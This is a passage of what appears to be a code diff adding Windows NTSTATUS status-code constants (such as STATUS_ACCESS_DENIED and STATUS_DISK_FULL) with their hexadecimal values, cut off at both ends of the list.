+STATUS_RXACT_COMMITTED = 0x0000010A; +STATUS_NOTIFY_CLEANUP = 0x0000010B; +STATUS_NOTIFY_ENUM_DIR = 0x0000010C; +STATUS_NO_QUOTAS_FOR_ACCOUNT = 0x0000010D; +STATUS_PRIMARY_TRANSPORT_CONNECT_FAILED = 0x0000010E; +STATUS_PAGE_FAULT_TRANSITION = 0x00000110; +STATUS_PAGE_FAULT_DEMAND_ZERO = 0x00000111; +STATUS_PAGE_FAULT_COPY_ON_WRITE = 0x00000112; +STATUS_PAGE_FAULT_GUARD_PAGE = 0x00000113; +STATUS_PAGE_FAULT_PAGING_FILE = 0x00000114; +STATUS_CACHE_PAGE_LOCKED = 0x00000115; +STATUS_CRASH_DUMP = 0x00000116; +STATUS_BUFFER_ALL_ZEROS = 0x00000117; +STATUS_REPARSE_OBJECT = 0x00000118; +STATUS_RESOURCE_REQUIREMENTS_CHANGED = 0x00000119; +STATUS_TRANSLATION_COMPLETE = 0x00000120; +STATUS_DS_MEMBERSHIP_EVALUATED_LOCALLY = 0x00000121; +STATUS_NOTHING_TO_TERMINATE = 0x00000122; +STATUS_PROCESS_NOT_IN_JOB = 0x00000123; +STATUS_PROCESS_IN_JOB = 0x00000124; +STATUS_OBJECT_NAME_EXISTS = 0x40000000; +STATUS_THREAD_WAS_SUSPENDED = 0x40000001; +STATUS_WORKING_SET_LIMIT_RANGE = 0x40000002; +STATUS_IMAGE_NOT_AT_BASE = 0x40000003; +STATUS_RXACT_STATE_CREATED = 0x40000004; +STATUS_SEGMENT_NOTIFICATION = 0x40000005; +STATUS_LOCAL_USER_SESSION_KEY = 0x40000006; +STATUS_BAD_CURRENT_DIRECTORY = 0x40000007; +STATUS_SERIAL_MORE_WRITES = 0x40000008; +STATUS_REGISTRY_RECOVERED = 0x40000009; +STATUS_FT_READ_RECOVERY_FROM_BACKUP = 0x4000000A; +STATUS_FT_WRITE_RECOVERY = 0x4000000B; +STATUS_SERIAL_COUNTER_TIMEOUT = 0x4000000C; +STATUS_NULL_LM_PASSWORD = 0x4000000D; +STATUS_IMAGE_MACHINE_TYPE_MISMATCH = 0x4000000E; +STATUS_RECEIVE_PARTIAL = 0x4000000F; +STATUS_RECEIVE_EXPEDITED = 0x40000010; +STATUS_RECEIVE_PARTIAL_EXPEDITED = 0x40000011; +STATUS_EVENT_DONE = 0x40000012; +STATUS_EVENT_PENDING = 0x40000013; +STATUS_CHECKING_FILE_SYSTEM = 0x40000014; +STATUS_FATAL_APP_EXIT = 0x40000015; +STATUS_PREDEFINED_HANDLE = 0x40000016; +STATUS_WAS_UNLOCKED = 0x40000017; +STATUS_SERVICE_NOTIFICATION = 0x40000018; +STATUS_WAS_LOCKED = 0x40000019; +STATUS_LOG_HARD_ERROR = 0x4000001A; +STATUS_ALREADY_WIN32 = 0x4000001B; +STATUS_WX86_UNSIMULATE = 0x4000001C; +STATUS_WX86_CONTINUE = 0x4000001D; +STATUS_WX86_SINGLE_STEP = 0x4000001E; +STATUS_WX86_BREAKPOINT = 0x4000001F; +STATUS_WX86_EXCEPTION_CONTINUE = 0x40000020; +STATUS_WX86_EXCEPTION_LASTCHANCE = 0x40000021; +STATUS_WX86_EXCEPTION_CHAIN = 0x40000022; +STATUS_IMAGE_MACHINE_TYPE_MISMATCH_EXE = 0x40000023; +STATUS_NO_YIELD_PERFORMED = 0x40000024; +STATUS_TIMER_RESUME_IGNORED = 0x40000025; +STATUS_ARBITRATION_UNHANDLED = 0x40000026; +STATUS_CARDBUS_NOT_SUPPORTED = 0x40000027; +STATUS_WX86_CREATEWX86TIB = 0x40000028; +STATUS_MP_PROCESSOR_MISMATCH = 0x40000029; +STATUS_HIBERNATED = 0x4000002A; +STATUS_RESUME_HIBERNATION = 0x4000002B; +STATUS_GUARD_PAGE_VIOLATION = 0x80000001; +STATUS_DATATYPE_MISALIGNMENT = 0x80000002; +STATUS_BREAKPOINT = 0x80000003; +STATUS_SINGLE_STEP = 0x80000004; +STATUS_BUFFER_OVERFLOW = 0x80000005; +STATUS_NO_MORE_FILES = 0x80000006; +STATUS_WAKE_SYSTEM_DEBUGGER = 0x80000007; +STATUS_HANDLES_CLOSED = 0x8000000A; +STATUS_NO_INHERITANCE = 0x8000000B; +STATUS_GUID_SUBSTITUTION_MADE = 0x8000000C; +STATUS_PARTIAL_COPY = 0x8000000D; +STATUS_DEVICE_PAPER_EMPTY = 0x8000000E; +STATUS_DEVICE_POWERED_OFF = 0x8000000F; +STATUS_DEVICE_OFF_LINE = 0x80000010; +STATUS_DEVICE_BUSY = 0x80000011; +STATUS_NO_MORE_EAS = 0x80000012; +STATUS_INVALID_EA_NAME = 0x80000013; +STATUS_EA_LIST_INCONSISTENT = 0x80000014; +STATUS_INVALID_EA_FLAG = 0x80000015; +STATUS_VERIFY_REQUIRED = 0x80000016; +STATUS_EXTRANEOUS_INFORMATION = 0x80000017; +STATUS_RXACT_COMMIT_NECESSARY = 0x80000018; +STATUS_NO_MORE_ENTRIES = 0x8000001A; +STATUS_FILEMARK_DETECTED = 0x8000001B; +STATUS_MEDIA_CHANGED = 0x8000001C; +STATUS_BUS_RESET = 0x8000001D; +STATUS_END_OF_MEDIA = 0x8000001E; +STATUS_BEGINNING_OF_MEDIA = 0x8000001F; +STATUS_MEDIA_CHECK = 0x80000020; +STATUS_SETMARK_DETECTED = 0x80000021; +STATUS_NO_DATA_DETECTED = 0x80000022; +STATUS_REDIRECTOR_HAS_OPEN_HANDLES = 0x80000023; +STATUS_SERVER_HAS_OPEN_HANDLES = 0x80000024; +STATUS_ALREADY_DISCONNECTED = 0x80000025; +STATUS_LONGJUMP = 0x80000026; +STATUS_CLEANER_CARTRIDGE_INSTALLED = 0x80000027; +STATUS_PLUGPLAY_QUERY_VETOED = 0x80000028; +STATUS_UNWIND_CONSOLIDATE = 0x80000029; +STATUS_CLUSTER_NODE_ALREADY_UP = 0x80130001; +STATUS_CLUSTER_NODE_ALREADY_DOWN = 0x80130002; +STATUS_CLUSTER_NETWORK_ALREADY_ONLINE = 0x80130003; +STATUS_CLUSTER_NETWORK_ALREADY_OFFLINE = 0x80130004; +STATUS_CLUSTER_NODE_ALREADY_MEMBER = 0x80130005; +STATUS_UNSUCCESSFUL = 0xC0000001; +STATUS_NOT_IMPLEMENTED = 0xC0000002; +STATUS_INVALID_INFO_CLASS = 0xC0000003; +STATUS_INFO_LENGTH_MISMATCH = 0xC0000004; +STATUS_ACCESS_VIOLATION = 0xC0000005; +STATUS_IN_PAGE_ERROR = 0xC0000006; +STATUS_PAGEFILE_QUOTA = 0xC0000007; +STATUS_INVALID_HANDLE = 0xC0000008; +STATUS_BAD_INITIAL_STACK = 0xC0000009; +STATUS_BAD_INITIAL_PC = 0xC000000A; +STATUS_INVALID_CID = 0xC000000B; +STATUS_TIMER_NOT_CANCELED = 0xC000000C; +STATUS_INVALID_PARAMETER = 0xC000000D; +STATUS_NO_SUCH_DEVICE = 0xC000000E; +STATUS_NO_SUCH_FILE = 0xC000000F; +STATUS_INVALID_DEVICE_REQUEST = 0xC0000010; +STATUS_END_OF_FILE = 0xC0000011; +STATUS_WRONG_VOLUME = 0xC0000012; +STATUS_NO_MEDIA_IN_DEVICE = 0xC0000013; +STATUS_UNRECOGNIZED_MEDIA = 0xC0000014; +STATUS_NONEXISTENT_SECTOR = 0xC0000015; +STATUS_MORE_PROCESSING_REQUIRED = 0xC0000016; +STATUS_NO_MEMORY = 0xC0000017; +STATUS_CONFLICTING_ADDRESSES = 0xC0000018; +STATUS_NOT_MAPPED_VIEW = 0xC0000019; +STATUS_UNABLE_TO_FREE_VM = 0xC000001A; +STATUS_UNABLE_TO_DELETE_SECTION = 0xC000001B; +STATUS_INVALID_SYSTEM_SERVICE = 0xC000001C; +STATUS_ILLEGAL_INSTRUCTION = 0xC000001D; +STATUS_INVALID_LOCK_SEQUENCE = 0xC000001E; +STATUS_INVALID_VIEW_SIZE = 0xC000001F; +STATUS_INVALID_FILE_FOR_SECTION = 0xC0000020; +STATUS_ALREADY_COMMITTED = 0xC0000021; +STATUS_ACCESS_DENIED = 0xC0000022; +STATUS_BUFFER_TOO_SMALL = 0xC0000023; +STATUS_OBJECT_TYPE_MISMATCH = 0xC0000024; +STATUS_NONCONTINUABLE_EXCEPTION = 0xC0000025; +STATUS_INVALID_DISPOSITION = 0xC0000026; +STATUS_UNWIND = 0xC0000027; +STATUS_BAD_STACK = 0xC0000028; +STATUS_INVALID_UNWIND_TARGET = 0xC0000029; +STATUS_NOT_LOCKED = 0xC000002A; +STATUS_PARITY_ERROR = 0xC000002B; +STATUS_UNABLE_TO_DECOMMIT_VM = 0xC000002C; +STATUS_NOT_COMMITTED = 0xC000002D; +STATUS_INVALID_PORT_ATTRIBUTES = 0xC000002E; +STATUS_PORT_MESSAGE_TOO_LONG = 0xC000002F; +STATUS_INVALID_PARAMETER_MIX = 0xC0000030; +STATUS_INVALID_QUOTA_LOWER = 0xC0000031; +STATUS_DISK_CORRUPT_ERROR = 0xC0000032; +STATUS_OBJECT_NAME_INVALID = 0xC0000033; +STATUS_OBJECT_NAME_NOT_FOUND = 0xC0000034; +STATUS_OBJECT_NAME_COLLISION = 0xC0000035; +STATUS_PORT_DISCONNECTED = 0xC0000037; +STATUS_DEVICE_ALREADY_ATTACHED = 0xC0000038; +STATUS_OBJECT_PATH_INVALID = 0xC0000039; +STATUS_OBJECT_PATH_NOT_FOUND = 0xC000003A; +STATUS_OBJECT_PATH_SYNTAX_BAD = 0xC000003B; +STATUS_DATA_OVERRUN = 0xC000003C; +STATUS_DATA_LATE_ERROR = 0xC000003D; +STATUS_DATA_ERROR = 0xC000003E; +STATUS_CRC_ERROR = 0xC000003F; +STATUS_SECTION_TOO_BIG = 0xC0000040; +STATUS_PORT_CONNECTION_REFUSED = 0xC0000041; +STATUS_INVALID_PORT_HANDLE = 0xC0000042; +STATUS_SHARING_VIOLATION = 0xC0000043; +STATUS_QUOTA_EXCEEDED = 0xC0000044; +STATUS_INVALID_PAGE_PROTECTION = 0xC0000045; +STATUS_MUTANT_NOT_OWNED = 0xC0000046; +STATUS_SEMAPHORE_LIMIT_EXCEEDED = 0xC0000047; +STATUS_PORT_ALREADY_SET = 0xC0000048; +STATUS_SECTION_NOT_IMAGE = 0xC0000049; +STATUS_SUSPEND_COUNT_EXCEEDED = 0xC000004A; +STATUS_THREAD_IS_TERMINATING = 0xC000004B; +STATUS_BAD_WORKING_SET_LIMIT = 0xC000004C; +STATUS_INCOMPATIBLE_FILE_MAP = 0xC000004D; +STATUS_SECTION_PROTECTION = 0xC000004E; +STATUS_EAS_NOT_SUPPORTED = 0xC000004F; +STATUS_EA_TOO_LARGE = 0xC0000050; +STATUS_NONEXISTENT_EA_ENTRY = 0xC0000051; +STATUS_NO_EAS_ON_FILE = 0xC0000052; +STATUS_EA_CORRUPT_ERROR = 0xC0000053; +STATUS_FILE_LOCK_CONFLICT = 0xC0000054; +STATUS_LOCK_NOT_GRANTED = 0xC0000055; +STATUS_DELETE_PENDING = 0xC0000056; +STATUS_CTL_FILE_NOT_SUPPORTED = 0xC0000057; +STATUS_UNKNOWN_REVISION = 0xC0000058; +STATUS_REVISION_MISMATCH = 0xC0000059; +STATUS_INVALID_OWNER = 0xC000005A; +STATUS_INVALID_PRIMARY_GROUP = 0xC000005B; +STATUS_NO_IMPERSONATION_TOKEN = 0xC000005C; +STATUS_CANT_DISABLE_MANDATORY = 0xC000005D; +STATUS_NO_LOGON_SERVERS = 0xC000005E; +STATUS_NO_SUCH_LOGON_SESSION = 0xC000005F; +STATUS_NO_SUCH_PRIVILEGE = 0xC0000060; +STATUS_PRIVILEGE_NOT_HELD = 0xC0000061; +STATUS_INVALID_ACCOUNT_NAME = 0xC0000062; +STATUS_USER_EXISTS = 0xC0000063; +STATUS_NO_SUCH_USER = 0xC0000064; +STATUS_GROUP_EXISTS = 0xC0000065; +STATUS_NO_SUCH_GROUP = 0xC0000066; +STATUS_MEMBER_IN_GROUP = 0xC0000067; +STATUS_MEMBER_NOT_IN_GROUP = 0xC0000068; +STATUS_LAST_ADMIN = 0xC0000069; +STATUS_WRONG_PASSWORD = 0xC000006A; +STATUS_ILL_FORMED_PASSWORD = 0xC000006B; +STATUS_PASSWORD_RESTRICTION = 0xC000006C; +STATUS_LOGON_FAILURE = 0xC000006D; +STATUS_ACCOUNT_RESTRICTION = 0xC000006E; +STATUS_INVALID_LOGON_HOURS = 0xC000006F; +STATUS_INVALID_WORKSTATION = 0xC0000070; +STATUS_PASSWORD_EXPIRED = 0xC0000071; +STATUS_ACCOUNT_DISABLED = 0xC0000072; +STATUS_NONE_MAPPED = 0xC0000073; +STATUS_TOO_MANY_LUIDS_REQUESTED = 0xC0000074; +STATUS_LUIDS_EXHAUSTED = 0xC0000075; +STATUS_INVALID_SUB_AUTHORITY = 0xC0000076; +STATUS_INVALID_ACL = 0xC0000077; +STATUS_INVALID_SID = 0xC0000078; +STATUS_INVALID_SECURITY_DESCR = 0xC0000079; +STATUS_PROCEDURE_NOT_FOUND = 0xC000007A; +STATUS_INVALID_IMAGE_FORMAT = 0xC000007B; +STATUS_NO_TOKEN = 0xC000007C; +STATUS_BAD_INHERITANCE_ACL = 0xC000007D; +STATUS_RANGE_NOT_LOCKED = 0xC000007E; +STATUS_DISK_FULL = 0xC000007F; +STATUS_SERVER_DISABLED = 0xC0000080; +STATUS_SERVER_NOT_DISABLED = 0xC0000081; +STATUS_TOO_MANY_GUIDS_REQUESTED = 0xC0000082; +STATUS_GUIDS_EXHAUSTED = 0xC0000083; +STATUS_INVALID_ID_AUTHORITY = 0xC0000084; +STATUS_AGENTS_EXHAUSTED = 0xC0000085; +STATUS_INVALID_VOLUME_LABEL = 0xC0000086; +STATUS_SECTION_NOT_EXTENDED = 0xC0000087; +STATUS_NOT_MAPPED_DATA = 0xC0000088; +STATUS_RESOURCE_DATA_NOT_FOUND = 0xC0000089; +STATUS_RESOURCE_TYPE_NOT_FOUND = 0xC000008A; +STATUS_RESOURCE_NAME_NOT_FOUND = 0xC000008B; +STATUS_ARRAY_BOUNDS_EXCEEDED = 0xC000008C; +STATUS_FLOAT_DENORMAL_OPERAND = 0xC000008D; +STATUS_FLOAT_DIVIDE_BY_ZERO = 0xC000008E; +STATUS_FLOAT_INEXACT_RESULT = 0xC000008F; +STATUS_FLOAT_INVALID_OPERATION = 0xC0000090; +STATUS_FLOAT_OVERFLOW = 0xC0000091; +STATUS_FLOAT_STACK_CHECK = 0xC0000092; +STATUS_FLOAT_UNDERFLOW = 0xC0000093; +STATUS_INTEGER_DIVIDE_BY_ZERO = 0xC0000094; +STATUS_INTEGER_OVERFLOW = 0xC0000095; +STATUS_PRIVILEGED_INSTRUCTION = 0xC0000096; +STATUS_TOO_MANY_PAGING_FILES = 0xC0000097; +STATUS_FILE_INVALID = 0xC0000098; +STATUS_ALLOTTED_SPACE_EXCEEDED = 0xC0000099; +STATUS_INSUFFICIENT_RESOURCES = 0xC000009A; +STATUS_DFS_EXIT_PATH_FOUND = 0xC000009B; +STATUS_DEVICE_DATA_ERROR = 0xC000009C; +STATUS_DEVICE_NOT_CONNECTED = 0xC000009D; +STATUS_DEVICE_POWER_FAILURE = 0xC000009E; +STATUS_FREE_VM_NOT_AT_BASE = 0xC000009F; +STATUS_MEMORY_NOT_ALLOCATED = 0xC00000A0; +STATUS_WORKING_SET_QUOTA = 0xC00000A1; +STATUS_MEDIA_WRITE_PROTECTED = 0xC00000A2; +STATUS_DEVICE_NOT_READY = 0xC00000A3; +STATUS_INVALID_GROUP_ATTRIBUTES = 0xC00000A4; +STATUS_BAD_IMPERSONATION_LEVEL = 0xC00000A5; +STATUS_CANT_OPEN_ANONYMOUS = 0xC00000A6; +STATUS_BAD_VALIDATION_CLASS = 0xC00000A7; +STATUS_BAD_TOKEN_TYPE = 0xC00000A8; +STATUS_BAD_MASTER_BOOT_RECORD = 0xC00000A9; +STATUS_INSTRUCTION_MISALIGNMENT = 0xC00000AA; +STATUS_INSTANCE_NOT_AVAILABLE = 0xC00000AB; +STATUS_PIPE_NOT_AVAILABLE = 0xC00000AC; +STATUS_INVALID_PIPE_STATE = 0xC00000AD; +STATUS_PIPE_BUSY = 0xC00000AE; +STATUS_ILLEGAL_FUNCTION = 0xC00000AF; +STATUS_PIPE_DISCONNECTED = 0xC00000B0; +STATUS_PIPE_CLOSING = 0xC00000B1; +STATUS_PIPE_CONNECTED = 0xC00000B2; +STATUS_PIPE_LISTENING = 0xC00000B3; +STATUS_INVALID_READ_MODE = 0xC00000B4; +STATUS_IO_TIMEOUT = 0xC00000B5; +STATUS_FILE_FORCED_CLOSED = 0xC00000B6; +STATUS_PROFILING_NOT_STARTED = 0xC00000B7; +STATUS_PROFILING_NOT_STOPPED = 0xC00000B8; +STATUS_COULD_NOT_INTERPRET = 0xC00000B9; +STATUS_FILE_IS_A_DIRECTORY = 0xC00000BA; +STATUS_NOT_SUPPORTED = 0xC00000BB; +STATUS_REMOTE_NOT_LISTENING = 0xC00000BC; +STATUS_DUPLICATE_NAME = 0xC00000BD; +STATUS_BAD_NETWORK_PATH = 0xC00000BE; +STATUS_NETWORK_BUSY = 0xC00000BF; +STATUS_DEVICE_DOES_NOT_EXIST = 0xC00000C0; +STATUS_TOO_MANY_COMMANDS = 0xC00000C1; +STATUS_ADAPTER_HARDWARE_ERROR = 0xC00000C2; +STATUS_INVALID_NETWORK_RESPONSE = 0xC00000C3; +STATUS_UNEXPECTED_NETWORK_ERROR = 0xC00000C4; +STATUS_BAD_REMOTE_ADAPTER = 0xC00000C5; +STATUS_PRINT_QUEUE_FULL = 0xC00000C6; +STATUS_NO_SPOOL_SPACE = 0xC00000C7; +STATUS_PRINT_CANCELLED = 0xC00000C8; +STATUS_NETWORK_NAME_DELETED = 0xC00000C9; +STATUS_NETWORK_ACCESS_DENIED = 0xC00000CA; +STATUS_BAD_DEVICE_TYPE = 0xC00000CB; +STATUS_BAD_NETWORK_NAME = 0xC00000CC; +STATUS_TOO_MANY_NAMES = 0xC00000CD; +STATUS_TOO_MANY_SESSIONS = 0xC00000CE; +STATUS_SHARING_PAUSED = 0xC00000CF; +STATUS_REQUEST_NOT_ACCEPTED = 0xC00000D0; +STATUS_REDIRECTOR_PAUSED = 0xC00000D1; +STATUS_NET_WRITE_FAULT = 0xC00000D2; +STATUS_PROFILING_AT_LIMIT = 0xC00000D3; +STATUS_NOT_SAME_DEVICE = 0xC00000D4; +STATUS_FILE_RENAMED = 0xC00000D5; +STATUS_VIRTUAL_CIRCUIT_CLOSED = 0xC00000D6; +STATUS_NO_SECURITY_ON_OBJECT = 0xC00000D7; +STATUS_CANT_WAIT = 0xC00000D8; +STATUS_PIPE_EMPTY = 0xC00000D9; +STATUS_CANT_ACCESS_DOMAIN_INFO = 0xC00000DA; +STATUS_CANT_TERMINATE_SELF = 0xC00000DB; +STATUS_INVALID_SERVER_STATE = 0xC00000DC; +STATUS_INVALID_DOMAIN_STATE = 0xC00000DD; +STATUS_INVALID_DOMAIN_ROLE = 0xC00000DE; +STATUS_NO_SUCH_DOMAIN = 0xC00000DF; +STATUS_DOMAIN_EXISTS = 0xC00000E0; +STATUS_DOMAIN_LIMIT_EXCEEDED = 0xC00000E1; +STATUS_OPLOCK_NOT_GRANTED = 0xC00000E2; +STATUS_INVALID_OPLOCK_PROTOCOL = 0xC00000E3; +STATUS_INTERNAL_DB_CORRUPTION = 0xC00000E4; +STATUS_INTERNAL_ERROR = 0xC00000E5; +STATUS_GENERIC_NOT_MAPPED = 0xC00000E6; +STATUS_BAD_DESCRIPTOR_FORMAT = 0xC00000E7; +STATUS_INVALID_USER_BUFFER = 0xC00000E8; +STATUS_UNEXPECTED_IO_ERROR = 0xC00000E9; +STATUS_UNEXPECTED_MM_CREATE_ERR = 0xC00000EA; +STATUS_UNEXPECTED_MM_MAP_ERROR = 0xC00000EB; +STATUS_UNEXPECTED_MM_EXTEND_ERR = 0xC00000EC; +STATUS_NOT_LOGON_PROCESS = 0xC00000ED; +STATUS_LOGON_SESSION_EXISTS = 0xC00000EE; +STATUS_INVALID_PARAMETER_1 = 0xC00000EF; +STATUS_INVALID_PARAMETER_2 = 0xC00000F0; +STATUS_INVALID_PARAMETER_3 = 0xC00000F1; +STATUS_INVALID_PARAMETER_4 = 0xC00000F2; +STATUS_INVALID_PARAMETER_5 = 0xC00000F3; +STATUS_INVALID_PARAMETER_6 = 0xC00000F4; +STATUS_INVALID_PARAMETER_7 = 0xC00000F5; +STATUS_INVALID_PARAMETER_8 = 0xC00000F6; +STATUS_INVALID_PARAMETER_9 = 0xC00000F7; +STATUS_INVALID_PARAMETER_10 = 0xC00000F8; +STATUS_INVALID_PARAMETER_11 = 0xC00000F9; +STATUS_INVALID_PARAMETER_12 = 0xC00000FA; +STATUS_REDIRECTOR_NOT_STARTED = 0xC00000FB; +STATUS_REDIRECTOR_STARTED = 0xC00000FC; +STATUS_STACK_OVERFLOW = 0xC00000FD; +STATUS_NO_SUCH_PACKAGE = 0xC00000FE; +STATUS_BAD_FUNCTION_TABLE = 0xC00000FF; +STATUS_VARIABLE_NOT_FOUND = 0xC0000100; +STATUS_DIRECTORY_NOT_EMPTY = 0xC0000101; +STATUS_FILE_CORRUPT_ERROR = 0xC0000102; +STATUS_NOT_A_DIRECTORY = 0xC0000103; +STATUS_BAD_LOGON_SESSION_STATE = 0xC0000104; +STATUS_LOGON_SESSION_COLLISION = 0xC0000105; +STATUS_NAME_TOO_LONG = 0xC0000106; +STATUS_FILES_OPEN = 0xC0000107; +STATUS_CONNECTION_IN_USE = 0xC0000108; +STATUS_MESSAGE_NOT_FOUND = 0xC0000109; +STATUS_PROCESS_IS_TERMINATING = 0xC000010A; +STATUS_INVALID_LOGON_TYPE = 0xC000010B; +STATUS_NO_GUID_TRANSLATION = 0xC000010C; +STATUS_CANNOT_IMPERSONATE = 0xC000010D; +STATUS_IMAGE_ALREADY_LOADED = 0xC000010E; +STATUS_ABIOS_NOT_PRESENT = 0xC000010F; +STATUS_ABIOS_LID_NOT_EXIST = 0xC0000110; +STATUS_ABIOS_LID_ALREADY_OWNED = 0xC0000111; +STATUS_ABIOS_NOT_LID_OWNER = 0xC0000112; +STATUS_ABIOS_INVALID_COMMAND = 0xC0000113; +STATUS_ABIOS_INVALID_LID = 0xC0000114; +STATUS_ABIOS_SELECTOR_NOT_AVAILABLE = 0xC0000115; +STATUS_ABIOS_INVALID_SELECTOR = 0xC0000116; +STATUS_NO_LDT = 0xC0000117; +STATUS_INVALID_LDT_SIZE = 0xC0000118; +STATUS_INVALID_LDT_OFFSET = 0xC0000119; +STATUS_INVALID_LDT_DESCRIPTOR = 0xC000011A; +STATUS_INVALID_IMAGE_NE_FORMAT = 0xC000011B; +STATUS_RXACT_INVALID_STATE = 0xC000011C; +STATUS_RXACT_COMMIT_FAILURE = 0xC000011D; +STATUS_MAPPED_FILE_SIZE_ZERO = 0xC000011E; +STATUS_TOO_MANY_OPENED_FILES = 0xC000011F; +STATUS_CANCELLED = 0xC0000120; +STATUS_CANNOT_DELETE = 0xC0000121; +STATUS_INVALID_COMPUTER_NAME = 0xC0000122; +STATUS_FILE_DELETED = 0xC0000123; +STATUS_SPECIAL_ACCOUNT = 0xC0000124; +STATUS_SPECIAL_GROUP = 0xC0000125; +STATUS_SPECIAL_USER = 0xC0000126; +STATUS_MEMBERS_PRIMARY_GROUP = 0xC0000127; +STATUS_FILE_CLOSED = 0xC0000128; +STATUS_TOO_MANY_THREADS = 0xC0000129; +STATUS_THREAD_NOT_IN_PROCESS = 0xC000012A; +STATUS_TOKEN_ALREADY_IN_USE = 0xC000012B; +STATUS_PAGEFILE_QUOTA_EXCEEDED = 0xC000012C; +STATUS_COMMITMENT_LIMIT = 0xC000012D; +STATUS_INVALID_IMAGE_LE_FORMAT = 0xC000012E; +STATUS_INVALID_IMAGE_NOT_MZ = 0xC000012F; +STATUS_INVALID_IMAGE_PROTECT = 0xC0000130; +STATUS_INVALID_IMAGE_WIN_16 = 0xC0000131; +STATUS_LOGON_SERVER_CONFLICT = 0xC0000132; +STATUS_TIME_DIFFERENCE_AT_DC = 0xC0000133; +STATUS_SYNCHRONIZATION_REQUIRED = 0xC0000134; +STATUS_DLL_NOT_FOUND = 0xC0000135; +STATUS_OPEN_FAILED = 0xC0000136; +STATUS_IO_PRIVILEGE_FAILED = 0xC0000137; +STATUS_ORDINAL_NOT_FOUND = 0xC0000138; +STATUS_ENTRYPOINT_NOT_FOUND = 0xC0000139; +STATUS_CONTROL_C_EXIT = 0xC000013A; +STATUS_LOCAL_DISCONNECT = 0xC000013B; +STATUS_REMOTE_DISCONNECT = 0xC000013C; +STATUS_REMOTE_RESOURCES = 0xC000013D; +STATUS_LINK_FAILED = 0xC000013E; +STATUS_LINK_TIMEOUT = 0xC000013F; +STATUS_INVALID_CONNECTION = 0xC0000140; +STATUS_INVALID_ADDRESS = 0xC0000141; +STATUS_DLL_INIT_FAILED = 0xC0000142; +STATUS_MISSING_SYSTEMFILE = 0xC0000143; +STATUS_UNHANDLED_EXCEPTION = 0xC0000144; +STATUS_APP_INIT_FAILURE = 0xC0000145; +STATUS_PAGEFILE_CREATE_FAILED = 0xC0000146; +STATUS_NO_PAGEFILE = 0xC0000147; +STATUS_INVALID_LEVEL = 0xC0000148; +STATUS_WRONG_PASSWORD_CORE = 0xC0000149; +STATUS_ILLEGAL_FLOAT_CONTEXT = 0xC000014A; +STATUS_PIPE_BROKEN = 0xC000014B; +STATUS_REGISTRY_CORRUPT = 0xC000014C; +STATUS_REGISTRY_IO_FAILED = 0xC000014D; +STATUS_NO_EVENT_PAIR = 0xC000014E; +STATUS_UNRECOGNIZED_VOLUME = 0xC000014F; +STATUS_SERIAL_NO_DEVICE_INITED = 0xC0000150; +STATUS_NO_SUCH_ALIAS = 0xC0000151; +STATUS_MEMBER_NOT_IN_ALIAS = 0xC0000152; +STATUS_MEMBER_IN_ALIAS = 0xC0000153; +STATUS_ALIAS_EXISTS = 0xC0000154; +STATUS_LOGON_NOT_GRANTED = 0xC0000155; +STATUS_TOO_MANY_SECRETS = 0xC0000156; +STATUS_SECRET_TOO_LONG = 0xC0000157; +STATUS_INTERNAL_DB_ERROR = 0xC0000158; +STATUS_FULLSCREEN_MODE = 0xC0000159; +STATUS_TOO_MANY_CONTEXT_IDS = 0xC000015A; +STATUS_LOGON_TYPE_NOT_GRANTED = 0xC000015B; +STATUS_NOT_REGISTRY_FILE = 0xC000015C; +STATUS_NT_CROSS_ENCRYPTION_REQUIRED = 0xC000015D; +STATUS_DOMAIN_CTRLR_CONFIG_ERROR = 0xC000015E; +STATUS_FT_MISSING_MEMBER = 0xC000015F; +STATUS_ILL_FORMED_SERVICE_ENTRY = 0xC0000160; +STATUS_ILLEGAL_CHARACTER = 0xC0000161; +STATUS_UNMAPPABLE_CHARACTER = 0xC0000162; +STATUS_UNDEFINED_CHARACTER = 0xC0000163; +STATUS_FLOPPY_VOLUME = 0xC0000164; +STATUS_FLOPPY_ID_MARK_NOT_FOUND = 0xC0000165; +STATUS_FLOPPY_WRONG_CYLINDER = 0xC0000166; +STATUS_FLOPPY_UNKNOWN_ERROR = 0xC0000167; +STATUS_FLOPPY_BAD_REGISTERS = 0xC0000168; +STATUS_DISK_RECALIBRATE_FAILED = 0xC0000169; +STATUS_DISK_OPERATION_FAILED = 0xC000016A; +STATUS_DISK_RESET_FAILED = 0xC000016B; +STATUS_SHARED_IRQ_BUSY = 0xC000016C; +STATUS_FT_ORPHANING = 0xC000016D; +STATUS_BIOS_FAILED_TO_CONNECT_INTERRUPT = 0xC000016E; +STATUS_PARTITION_FAILURE = 0xC0000172; +STATUS_INVALID_BLOCK_LENGTH = 0xC0000173; +STATUS_DEVICE_NOT_PARTITIONED = 0xC0000174; +STATUS_UNABLE_TO_LOCK_MEDIA = 0xC0000175; +STATUS_UNABLE_TO_UNLOAD_MEDIA = 0xC0000176; +STATUS_EOM_OVERFLOW = 0xC0000177; +STATUS_NO_MEDIA = 0xC0000178; +STATUS_NO_SUCH_MEMBER = 0xC000017A; +STATUS_INVALID_MEMBER = 0xC000017B; +STATUS_KEY_DELETED = 0xC000017C; +STATUS_NO_LOG_SPACE = 0xC000017D; +STATUS_TOO_MANY_SIDS = 0xC000017E; +STATUS_LM_CROSS_ENCRYPTION_REQUIRED = 0xC000017F; +STATUS_KEY_HAS_CHILDREN = 0xC0000180; +STATUS_CHILD_MUST_BE_VOLATILE = 0xC0000181; +STATUS_DEVICE_CONFIGURATION_ERROR = 0xC0000182; +STATUS_DRIVER_INTERNAL_ERROR = 0xC0000183; +STATUS_INVALID_DEVICE_STATE = 0xC0000184; +STATUS_IO_DEVICE_ERROR = 0xC0000185; +STATUS_DEVICE_PROTOCOL_ERROR = 0xC0000186; +STATUS_BACKUP_CONTROLLER = 0xC0000187; +STATUS_LOG_FILE_FULL = 0xC0000188; +STATUS_TOO_LATE = 0xC0000189; +STATUS_NO_TRUST_LSA_SECRET = 0xC000018A; +STATUS_NO_TRUST_SAM_ACCOUNT = 0xC000018B; +STATUS_TRUSTED_DOMAIN_FAILURE = 0xC000018C; +STATUS_TRUSTED_RELATIONSHIP_FAILURE = 0xC000018D; +STATUS_EVENTLOG_FILE_CORRUPT = 0xC000018E; +STATUS_EVENTLOG_CANT_START = 0xC000018F; +STATUS_TRUST_FAILURE = 0xC0000190; +STATUS_MUTANT_LIMIT_EXCEEDED = 0xC0000191; +STATUS_NETLOGON_NOT_STARTED = 0xC0000192; +STATUS_ACCOUNT_EXPIRED = 0xC0000193; +STATUS_POSSIBLE_DEADLOCK = 0xC0000194; +STATUS_NETWORK_CREDENTIAL_CONFLICT = 0xC0000195; 